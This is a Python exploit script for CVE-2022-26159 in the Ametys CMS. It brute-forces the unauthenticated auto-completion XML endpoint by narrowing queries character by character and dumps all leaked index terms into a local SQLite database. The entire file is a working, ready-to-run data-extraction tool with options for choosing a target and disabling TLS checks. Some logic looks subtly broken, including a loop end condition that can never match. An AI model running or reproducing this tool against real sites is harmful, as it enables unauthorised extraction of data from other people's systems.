#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : CVE-2022-26159-Ametys-Autocompletion-XML.py # Author : Podalirius (@podalirius_) # Date created : 21 Feb 2022 import os import xml.etree.ElementTree as ET import argparse import requests import urllib import datetime import time import sqlite3 import sys def query_path_increment(query_path, alphabet): query_path[-1] += 1 for k in range(len(query_path)): if query_path[-1] == len(alphabet): query_path.pop() if len(query_path) > 0: query_path[-1] += 1 class AmetysAutocompletionDumper(object): """ Documentation for class AmetysAutocompletionDumper """ def __init__(self, target, headers={}, logfile=None, db_filename="autocompletion.db", delay_between_requests=0, max_results=None, verify=False, quiet=False, nocolors=False, verbose=False): super(AmetysAutocompletionDumper, self).__init__() self.verbose = verbose self.quiet = quiet self.nocolors = nocolors # HTTP options self.target = target if not self.target.startswith("http://") and not self.target.startswith("https://"): self.target = "http://" + self.target self.headers = headers self.verify = verify self.session = None self.delay_between_requests = delay_between_requests # Out files self.db_filename = db_filename self.logfile = logfile if self.logfile is not None: open(self.logfile, "w").close() # Max results self.max_results = max_results self.db_init() def db_init(self): if os.path.exists(self.db_filename): os.remove(self.db_filename) conn = sqlite3.connect(self.db_filename) cursor = conn.cursor() cursor.execute("CREATE TABLE items(v TEXT)") conn.commit() conn.close() return None def db_store_results(self, results): conn = sqlite3.connect(self.db_filename) cursor = conn.cursor() for entry in results: cursor.execute("INSERT OR IGNORE INTO items(v) VALUES(?)", (entry,)) conn.commit() conn.close() return None def dump(self): self.session = requests.Session() if self.max_results is None: self.log("[+] Autodetecting max results limit from empty query to XML file ...") r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml' % self.target, headers=self.headers, verify=self.verify) nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None] self.max_results = len(nodes) self.log("[+] Detected maximum output is %d results.\n" % self.max_results) self.log("[+] Parsing /plugins/web/service/search/auto-completion/") self.log("[+] Started at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss")) alphabet = "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ0123456789.-/=" query_path = [0] while query_path != [alphabet[-1], alphabet[-1]]: time.sleep(self.delay_between_requests) query = ''.join([alphabet[k] for k in query_path]) print('\r[>] Query = %-20s ' % query.ljust(15), end="") sys.stdout.flush() results = self.auto_completion_search(query) if results is None: if self.nocolors: pretty_letter = '%s%s' % (query[:-1], query[-1]) print('\r[>] Query = %-49s >= %d, Too much results, narrowing request ... ' % (pretty_letter, self.max_results)) sys.stdout.flush() else: pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1]) print('\r[>] Query = %-49s >= %d, \x1b[1;91mToo much results\x1b[0m, narrowing request ... ' % (pretty_letter, self.max_results)) sys.stdout.flush() self.log('[>] Query = %-49s >= %d, Too much results, narrowing request ... ' % ('%s%s'%(query[:-1], query[-1]), self.max_results), doprint=False) query_path.append(0) else: if len(results) != 0: if self.nocolors: pretty_letter = '%s%s' % (query[:-1], query[-1]) print('\r[>] Query = %-49s %d results added !' % (pretty_letter, len(results))) sys.stdout.flush() else: pretty_letter = '\x1b[92m%s\x1b[0m\x1b[93m%s\x1b[0m' % (query[:-1], query[-1]) print('\r[>] Query = %-49s \x1b[1;92m%d results added !\x1b[0m' % (pretty_letter, len(results))) sys.stdout.flush() self.log('[>] Query = %-49s %d results added !' % ('%s%s'%(query[:-1], query[-1]), len(results)), doprint=False) self.db_store_results(results) query_path_increment(query_path, alphabet) self.log("[+] Ended at %s " % datetime.datetime.now().strftime("%Y-%m-%d %Hh %Mm %Ss")) def log(self, message, doprint=True): print(message) if self.logfile is not None: f = open(self.logfile, "a") f.write(message + "\n") f.close() def auto_completion_search(self, query): r = self.session.get('%s/plugins/web/service/search/auto-completion/poc/en.xml?q=%s' % (self.target, urllib.parse.quote(query)), headers=self.headers, verify=self.verify) nodes = [child for child in ET.fromstring(r.content) if child.tag == 'item' and child.text is not None] if len(nodes) >= self.max_results: return None else: data = [] for child in nodes: if child.tag == 'item' and child.text is not None: data.append(child.text) time.sleep(self.delay_between_requests) return data def parseArgs(): print("%30s - by @podalirius\n" % "CVE-2022-26159-Ametys-Autocompletion-XML v1.1") parser = argparse.ArgumentParser(description="Description message") parser.add_argument("-t", "--target", default=None, required=True, help='arg1 help message') parser.add_argument("-H", "--header", default=[], dest="headers", action="append", required=False, help='Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")') parser.add_argument("-k", "--insecure", default=False, action="store_true", help='Disable SSL/TLS warnings and certificate verification.') group_verbosity = parser.add_mutually_exclusive_group(required=False) group_verbosity.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') group_verbosity.add_argument("-q", "--quiet", default=False, action="store_true", help='Quiet mode. (default: False)') parser.add_argument("--no-colors", dest="colors", action="store_true", default=False, help="Disables colored output. (default: False)") return parser.parse_args() if __name__ == '__main__': options = parseArgs() if options.insecure: # Disable warings of insecure connection for invalid certificates requests.packages.urllib3.disable_warnings() # Allow use of deprecated and weak cipher methods requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: pass aad = AmetysAutocompletionDumper( options.target, headers=options.headers, nocolors=options.colors, verbose=options.verbose, verify=(not options.insecure), quiet=options.quiet ) aad.dump()